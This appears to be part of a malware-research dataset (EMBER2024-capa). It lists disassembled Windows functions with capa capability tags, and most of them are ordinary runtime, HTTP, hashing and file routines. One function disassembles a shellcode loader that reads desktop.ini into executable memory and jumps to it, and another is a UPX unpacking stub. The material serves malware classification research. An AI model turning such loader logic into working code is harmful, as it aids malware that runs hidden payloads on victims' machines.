joyce8/EMBER2024-capa huggingface dataset:
Function at 0x51ecc0
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x559024]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00518ea2
and dword [ebp - 0x14], 0
cmp dword [0x55e148], 0
mov dword [ebp - 0x18], eax
jne 0x51ed73
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x51ee1b
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x5385b8
push ebx
call edi
test eax, eax
je 0x51ee1b
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x5385a8
push ebx
mov dword [0x55e148], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x55e14c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x55e150], eax
call edi
push eax
call esi
mov dword [0x55e158], eax
test eax, eax
je 0x51ed73
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x55e154], eax
mov eax, dword [0x55e154]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x51edcc
cmp dword [0x55e158], ecx
je 0x51edcc
push eax
call esi
push dword [0x55e158]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x51edcc
test ebx, ebx
je 0x51edcc
call edi
test eax, eax
je 0x51edc3
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x51edc3
test byte [ebp - 8], 1
jne 0x51edcc
or dword [ebp + 0x10], 0x200000
jmp 0x51edff
mov eax, dword [0x55e14c]
cmp eax, dword [ebp - 0x18]
je 0x51edff
push eax
call esi
test eax, eax
je 0x51edff
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x51edff
mov eax, dword [0x55e150]
cmp eax, dword [ebp - 0x18]
je 0x51edff
push eax
call esi
test eax, eax
je 0x51edff
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x55e148]
call esi
test eax, eax
je 0x51ee1b
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x51ee1d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00513498
leave
ret
Function at 0x10032d39
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10032d78
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10032d78
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10032d78
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10032d78
cmp dword [ecx + 0x74], 0xe
jbe 0x10032d78
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x1003596b
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x10035a08
push ebx
push esi
call fcn.10035934
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.100358c8
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x100359b5
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10035a07
push edi
push eax
call fcn.10036894
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x100359d5
call fcn.10034410
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10035a06
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.100358c8
add esp, 0x20
test eax, eax
jne 0x100359f4
push edi
call fcn.10034410
jmp 0x100359fc
push ebx
call fcn.10034410
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10035c75
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1003ea00
push 0x1003e9f8
push str.FlsAlloc
push 0x1f
call fcn.10035b91
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10035ca9
push dword [ebp + 8]
mov ecx, esi
call dword [0x1003c174]
call esi
jmp 0x10035caf
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x10035cf3
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1003ea10
push 0x1003ea08
push str.FlsGetValue
push 0x21
call fcn.10035b91
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10035d2a
push dword [ebp + 8]
mov ecx, esi
call dword [0x1003c174]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x10035d32
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1003ea18
push 0x1003ea10
push str.FlsSetValue
push 0x22
call fcn.10035b91
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10035d6c
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1003c174]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1003b2c0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1003b2ed
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1003b2ed
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push str.Printers
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 0x104
mov edi, 0x10003030
push edi
push dword [0x10003020]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor eax, eax
mov word [0x10003036], ax
xor ebx, ebx
movzx ecx, word [eax + 0x10002040]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, bx
jne 0x1000118a
push 1
push ebx
push ebx
push edi
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x10003036], ax
movzx ecx, word [eax + str.desktop.ini]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, bx
jne 0x100011b5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push edi
mov dword [0x10003018], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
push ebx
cmp eax, 0xffffffff
jne 0x10001208
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x10003024
push esi
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x52fa20
Capabilities:
Packed with generic packer

Disassembly:
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
pushal
mov esi, section.UPX1
lea edi, [esi - 0xd9000]
push edi
jmp 0x52fa46
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x52fa4d
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x52fa3c
mov eax, 1
add ebx, ebx
jne 0x52fa5f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x52fa70
jne 0x52fa8f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x52fa8f
dec eax
add ebx, ebx
jne 0x52fa7c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x52fa54
add ebx, ebx
jne 0x52fa8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x52fae1
xor ecx, ecx
sub eax, 3
jb 0x52faa7
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x52fb16
sar eax, 1
mov ebp, eax
jmp 0x52fab2
add ebx, ebx
jne 0x52fab2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x52fa80
inc ecx
add ebx, ebx
jne 0x52fac0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x52fa80
add ebx, ebx
jne 0x52facd
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x52fac2
jne 0x52fade
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x52fac2
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x52fb00
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x52faf2
jmp 0x52fa42
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x52fb00
add edi, ecx
jmp 0x52fa42
pop esi
mov edi, esi
mov ecx, 0x3ee5
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x52fb1e
cmp byte [edi], 0x11
jne 0x52fb1e
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x52fb23
lea edi, [esi + 0x128000]
mov eax, dword [edi]
or eax, eax
je 0x52fb9b
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x186048]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1861c4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x52fb50
mov ecx, edi
jns 0x52fb7f
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1861c8]
or eax, eax
je 0x52fb95
mov dword [ebx], eax
add ebx, 4
jmp 0x52fb6d
call dword [esi + 0x1861d8]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x52fbcc
cmp al, 0xef
ja 0x52fbbf
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x52fba1
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x52fbae
mov ebp, dword [esi + 0x1861cc]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x52fc00
sub esp, 0xffffff80
jmp 0x427f56
Function at 0x100065e0
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebp
push esi
mov ebp, ecx
xor esi, esi
cmp dword [ebp], esi
jne 0x100065f4
pop esi
xor eax, eax
pop ebp
pop ecx
ret 8
push ebx
mov ebx, dword [esp + 0x18]
push edi
mov edi, dword [esp + 0x18]
mov dword [esp + 0x10], esi
cmp ebx, esi
jbe 0x10006631
mov edx, dword [ebp]
push 0
lea eax, [esp + 0x14]
push eax
mov ecx, ebx
sub ecx, esi
push ecx
push edi
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1000663e
mov eax, dword [esp + 0x10]
test eax, eax
je 0x1000663e
add esi, eax
add edi, eax
cmp esi, ebx
jb 0x10006606
pop edi
pop ebx
pop esi
mov eax, 1
pop ebp
pop ecx
ret 8
pop edi
pop ebx
pop esi
xor eax, eax
pop ebp
pop ecx
ret 8

Function at 0x10006a40
Capabilities:
Receive http response

Disassembly:
sub esp, 8
push ebp
mov ebp, dword [esp + 0x10]
push edi
mov edi, ecx
test ebp, ebp
je 0x10006acb
cmp dword [edi + 8], 0
je 0x10006acb
push ebx
push esi
mov ecx, ebp
call fcn.10006650
lea ecx, [esp + 0x10]
mov dword [esp + 0x1c], 0
call fcn.10006370
push 0
push 0x1000
lea ecx, [esp + 0x18]
call fcn.10006490
mov ebx, dword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov esi, eax
mov ecx, dword [edi + 8]
lea eax, [esp + 0x1c]
push eax
push 0x1000
push esi
push ecx
mov dword [esp + 0x2c], 0
call ebx
mov eax, dword [esp + 0x1c]
test eax, eax
jbe 0x10006ab3
push eax
push esi
mov ecx, ebp
call fcn.10006380
jmp 0x10006a87
lea ecx, [esp + 0x10]
call fcn.10006650
pop esi
pop ebx
pop edi
mov eax, 1
pop ebp
add esp, 8
ret 4
pop edi
xor eax, eax
pop ebp
add esp, 8
ret 4

Function at 0x10006d60
Capabilities:
Receive http response

Disassembly:
sub esp, 0x2c
push esi
mov esi, dword [esp + 0x34]
push edi
mov edi, ecx
test esi, esi
je 0x10006d9a
cmp dword [edi + 8], 0
je 0x10006d9a
cmp byte [esi], 0
je 0x10006d9a
lea ecx, [esp + 0x10]
call fcn.100065a0
push esi
lea ecx, [esp + 0x14]
call fcn.10006730
test eax, eax
jne 0x10006da4
lea ecx, [esp + 0x10]
call fcn.10006710
pop edi
xor eax, eax
pop esi
add esp, 0x2c
ret 4
push ebp
lea ecx, [esp + 0xc]
mov dword [esp + 0x3c], 0
call fcn.10006370
push 0
push 0x1000
lea ecx, [esp + 0x14]
call fcn.10006490
mov ebp, dword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov esi, eax
mov edi, edi
mov ecx, dword [edi + 8]
lea eax, [esp + 0x3c]
push eax
push 0x1000
push esi
push ecx
mov dword [esp + 0x4c], 0
call ebp
mov eax, dword [esp + 0x3c]
lea ecx, [esp + 0x14]
test eax, eax
jbe 0x10006dfe
push eax
push esi
call fcn.100065e0
jmp 0x10006dd0
call fcn.100065c0
lea ecx, [esp + 0xc]
call fcn.10006650
lea ecx, [esp + 0x14]
call fcn.10006710
pop ebp
pop edi
mov eax, 1
pop esi
add esp, 0x2c
ret 4
Function at 0x10007520
Capabilities:
Initialize winhttp library
Prepare http request
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x18
push ebp
push esi
mov esi, ecx
mov eax, dword [esi + 8]
xor ebp, ebp
push edi
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
cmp eax, ebp
je 0x1000753a
push eax
call edi
mov eax, dword [esi + 4]
cmp eax, ebp
je 0x10007544
push eax
call edi
lea ecx, [esi + 0x10c]
mov dword [esi + 8], ebp
mov dword [esi + 4], ebp
mov dword [esi + 0x154], ebp
mov dword [esi + 0x158], ebp
call fcn.10003eb0
mov eax, dword [esp + 0x28]
cmp eax, ebp
je 0x100076e7
cmp byte [eax], 0
je 0x100076e7
push ebx
mov ebx, dword [esp + 0x30]
cmp ebx, ebp
je 0x10007584
cmp byte [ebx], 0
jne 0x10007589
mov ebx, 0x10009180
push eax
mov ecx, esi
call fcn.10007010
test eax, eax
je 0x1000768f
cmp dword [esi], ebp
jne 0x100075b2
push ebp
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov dword [esi], eax
cmp eax, ebp
je 0x1000768f
movzx eax, word [esi + 0xf0]
push ebp
push eax
lea ecx, [esi + 0x78]
call fcn.10003f30
mov ecx, dword [esi]
push eax
push ecx
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov dword [esi + 4], eax
cmp eax, ebp
je 0x1000768f
mov edx, dword [esi]
push ebp
push 0x4e20
push 0x4e20
push 0x4e20
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpSetTimeouts]
mov edi, dword [esi + 0x18]
sub edi, 2
neg edi
sbb edi, edi
push 0xffffffffffffffff
lea ebp, [esi + 0xf4]
and edi, 0xff800000
push ebx
mov ecx, ebp
add edi, 0x800100
call fcn.100046b0
lea eax, [esi + 0x90]
push eax
lea ecx, [esp + 0x14]
call fcn.10004a80
lea ecx, [esi + 0xa8]
push ecx
lea ecx, [esp + 0x14]
call fcn.100048a0
push edi
push 0
push 0
push 0x100093d4
lea ecx, [esp + 0x20]
call fcn.10003f30
push eax
mov ecx, ebp
call fcn.10003f30
mov edx, dword [esi + 4]
push eax
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov dword [esi + 8], eax
test eax, eax
je 0x10007686
cmp dword [esi + 0x18], 2
jne 0x1000769b
push 4
lea ecx, [esp + 0x30]
push ecx
push 0x1f
push eax
mov dword [esp + 0x3c], 0x3300
call dword [sym.imp.WINHTTP.dll_WinHttpSetOption]
test eax, eax
jne 0x1000769b
lea ecx, [esp + 0x10]
call fcn.10003eb0
pop ebx
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x18
ret 8
lea edi, [esi + 0xc0]
mov ecx, edi
call fcn.10003f00
test eax, eax
jne 0x100076cf
push eax
lea ecx, [esi + 0xd8]
call fcn.10003f30
push eax
mov ecx, edi
call fcn.10003f30
mov edx, dword [esi + 8]
push eax
push 1
push 0
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpSetCredentials]
lea ecx, [esp + 0x10]
call fcn.10003eb0
pop ebx
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x18
ret 8
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x18
ret 8
Function at 0x10007870
Capabilities:
Create thread
Terminate thread

Disassembly:
push ecx
push ebx
push esi
mov esi, dword [esp + 0x10]
mov ebx, ecx
mov dword [esp + 8], ebx
test esi, esi
jne 0x10007889
pop esi
xor eax, eax
pop ebx
pop ecx
ret 4
mov ecx, esi
call fcn.100037e0
test eax, eax
jne 0x10007881
cmp dword [esi + 0xb4], 2
je 0x100078af
cmp dword [esi + 0xbc], eax
jne 0x100078af
mov dword [esi + 0xbc], 0x2710
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
push 0
push 0
push esi
push 0x10007820
push 0
push 0
mov dword [esi + 0xc0], ebx
call ebp
mov edi, eax
test edi, edi
je 0x100078f7
mov eax, dword [esi + 0xb8]
push eax
push edi
call fcn.10006900
add esp, 8
test eax, eax
je 0x10007901
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop ebp
pop esi
xor eax, eax
pop ebx
pop ecx
ret 4
cmp dword [ebx + 0x154], 0
je 0x100078f0
cmp dword [ebx + 8], 0
je 0x100078f0
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call ebx
push 0
push 0
push esi
push 0x100074a0
push 0
push 0
call ebp
mov edi, eax
test edi, edi
je 0x100078f7
mov ecx, dword [esi + 0xbc]
push ecx
push edi
call fcn.10006900
add esp, 8
test eax, eax
je 0x10007959
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
call ebx
pop edi
pop ebp
pop esi
xor eax, eax
pop ebx
pop ecx
ret 4
push edi
call ebx
mov ecx, dword [esp + 0x10]
call fcn.10007160
pop edi
pop ebp
pop esi
mov eax, 1
pop ebx
pop ecx
ret 4

Function at 0x10007980
Capabilities:
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
sub esp, 0x10
push ebx
push esi
mov esi, dword [esp + 0x2c]
push edi
mov ecx, esi
call fcn.10006650
mov eax, dword [esp + 0x20]
test eax, eax
je 0x10007a89
mov ebx, dword [esp + 0x28]
test ebx, ebx
je 0x10007a89
mov edi, dword [esp + 0x2c]
cmp edi, 1
jl 0x10007a89
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0xc]
push ecx
push 0
push 0
push edx
push eax
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x10007a89
push edi
push ebx
lea ecx, [esp + 0x1c]
call fcn.100067a0
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
push 0
push eax
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x10007a6a
mov ecx, dword [esp + 0xc]
mov edi, dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
push 0
lea eax, [esp + 0x24]
push eax
push 0
push 2
push ecx
mov dword [esp + 0x34], 0
call edi
test eax, eax
je 0x10007a6a
mov edx, dword [esp + 0x20]
push 0
push edx
mov ecx, esi
call fcn.10006490
mov ecx, dword [esi]
mov edx, dword [esp + 0xc]
push 0
lea eax, [esp + 0x24]
push eax
push ecx
push 2
push edx
call edi
test eax, eax
je 0x10007a63
mov eax, dword [esp + 0x20]
mov dword [esi + 4], eax
mov dword [esp + 0x10], 1
jmp 0x10007a6a
mov ecx, esi
call fcn.10006650
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
lea ecx, [esp + 0x14]
call fcn.10006650
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebx
add esp, 0x10
ret
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x10
ret
Function at 0x10007aa0
Capabilities:
Encode data using base64

Disassembly:
sub esp, 0x44
cmp dword [esp + 0x48], 0
push ebp
je 0x10007bd8
mov ebp, dword [esp + 0x50]
cmp ebp, 1
jl 0x10007bd8
lea ecx, [ebp*4 + 4]
mov eax, 0x55555556
imul ecx
mov ecx, dword [esp + 0x54]
push ebx
mov eax, edx
push esi
shr eax, 0x1f
push edi
add eax, edx
push eax
call fcn.10003c00
mov ecx, 0x10
mov esi, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
lea edi, [esp + 0x10]
rep movsd dword es:[edi], dword [esi]
mov ebx, eax
movsb byte es:[edi], byte [esi]
test ebp, ebp
jle 0x10007bc5
mov ecx, dword [esp + 0x58]
lea edx, [ebp - 1]
mov eax, 0xaaaaaaab
mul edx
mov esi, edx
shr esi, 1
inc ecx
inc esi
mov al, 0x3d
nop
movzx edx, byte [ecx - 1]
shr edx, 2
cmp ebp, 2
mov dl, byte [esp + edx + 0x10]
mov byte [ebx], dl
jle 0x10007b68
movzx edx, byte [ecx - 1]
movzx edi, byte [ecx]
and edx, 3
shl edx, 4
shr edi, 4
or edx, edi
movzx edx, byte [esp + edx + 0x10]
mov byte [ebx + 1], dl
movzx edx, byte [ecx]
movzx edi, byte [ecx + 1]
and edx, 0xf
add edx, edx
add edx, edx
shr edi, 6
or edx, edi
movzx edx, byte [esp + edx + 0x10]
mov byte [ebx + 2], dl
movzx edx, byte [ecx + 1]
and edx, 0x3f
movzx edx, byte [esp + edx + 0x10]
mov byte [ebx + 3], dl
jmp 0x10007bb3
cmp ebp, 1
jne 0x10007b83
movzx edx, byte [ecx - 1]
and edx, 3
shl edx, 4
mov dl, byte [esp + edx + 0x10]
mov byte [ebx + 1], dl
mov byte [ebx + 2], al
jmp 0x10007bb0
cmp ebp, 2
jne 0x10007bb3
movzx edx, byte [ecx - 1]
movzx edi, byte [ecx]
and edx, 3
shl edx, 4
shr edi, 4
or edx, edi
movzx edx, byte [esp + edx + 0x10]
mov byte [ebx + 1], dl
movzx edx, byte [ecx]
and edx, 0xf
movzx edx, byte [esp + edx*4 + 0x10]
mov byte [ebx + 2], dl
mov byte [ebx + 3], al
add ecx, 3
add ebx, 4
sub ebp, 3
sub esi, 1
jne 0x10007b10
mov ecx, dword [esp + 0x60]
pop edi
pop esi
mov byte [ebx], 0
pop ebx
pop ebp
add esp, 0x44
jmp fcn.10003c50
mov ecx, dword [esp + 0x54]
pop ebp
add esp, 0x44
jmp fcn.10003790
Function at 0x10007d20
Capabilities:
Check if file exists
Create directory

Disassembly:
sub esp, 0x20c
push 0x104
lea eax, [esp + 8]
push 0
push eax
mov dword [esp + 0xc], 0
call sub.MSVCRT.dll_memset
mov ecx, dword [esp + 0x21c]
add esp, 0xc
push ecx
lea edx, [esp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_PathCanonicalizeA]
lea eax, [esp + 4]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveBackslashA]
lea ecx, [esp + 4]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionA]
test eax, eax
je 0x10007d7f
cmp byte [eax], 0
je 0x10007d7f
lea edx, [esp + 4]
push edx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
lea eax, [esp + 4]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10007d86
push ebp
push esi
sub eax, edx
push edi
mov edi, eax
test edi, edi
jle 0x10007e10
mov ebp, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
xor esi, esi
test edi, edi
jle 0x10007ded
cmp byte [esp + esi + 0x10], 0x5c
jne 0x10007de8
xor eax, eax
lea ecx, [ecx]
mov cl, byte [esp + eax + 0x10]
mov byte [esp + eax + 0x114], cl
inc eax
test cl, cl
jne 0x10007db0
lea eax, [esp + 0x114]
push eax
mov byte [esp + esi + 0x118], cl
call ebp
test eax, eax
jne 0x10007de8
push eax
lea ecx, [esp + 0x118]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x10007e1e
inc esi
cmp esi, edi
jl 0x10007da4
lea edx, [esp + 0x10]
push edx
call ebp
test eax, eax
jne 0x10007e08
push eax
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x10007e10
mov dword [esp + 0xc], 1
mov eax, dword [esp + 0xc]
pop edi
pop esi
pop ebp
add esp, 0x20c
ret
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x20c
ret